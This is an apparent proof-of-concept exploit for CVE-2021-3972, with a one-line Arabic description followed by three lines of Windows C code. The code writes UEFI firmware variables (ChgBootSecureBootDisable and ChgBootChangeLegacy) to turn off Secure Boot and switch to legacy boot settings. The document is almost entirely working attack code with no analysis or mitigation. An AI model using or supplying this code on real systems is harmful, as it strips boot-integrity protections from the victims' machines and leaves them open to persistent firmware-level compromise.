
إثبات مفهوم لاستغلال CVE-2021-3972، يوضح التلاعب بمتغيرات البرنامج الثابت UEFI لتعطيل التمهيد الآمن وتغيير إعدادات التمهيد القديمة.
كود إثبات المفهوم بدون أي شيء آخر
BYTE value = 0x1;
SetFirmwareEnvironmentVariableEx(_T("ChgBootSecureBootDisable"),_T("{6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E}"),&value,sizeof(BYTE),0x7);
SetFirmwareEnvironmentVariableEx(_T("ChgBootChangeLegacy"),_T("{6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E}"),&value,sizeof(BYTE),0x7);